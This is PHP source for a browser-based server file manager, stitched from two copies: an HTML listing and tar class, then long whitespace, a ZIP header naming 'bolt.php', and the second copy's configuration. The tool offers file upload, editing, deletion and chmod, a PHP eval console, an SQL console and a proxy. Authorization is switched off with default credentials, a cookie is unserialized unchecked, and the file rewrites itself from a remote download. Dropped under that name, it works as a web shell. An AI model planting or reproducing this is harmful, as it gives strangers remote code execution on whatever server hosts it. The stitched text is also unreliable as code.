				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       PK     |\Ќ5 5   bolt.phpnu [        <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
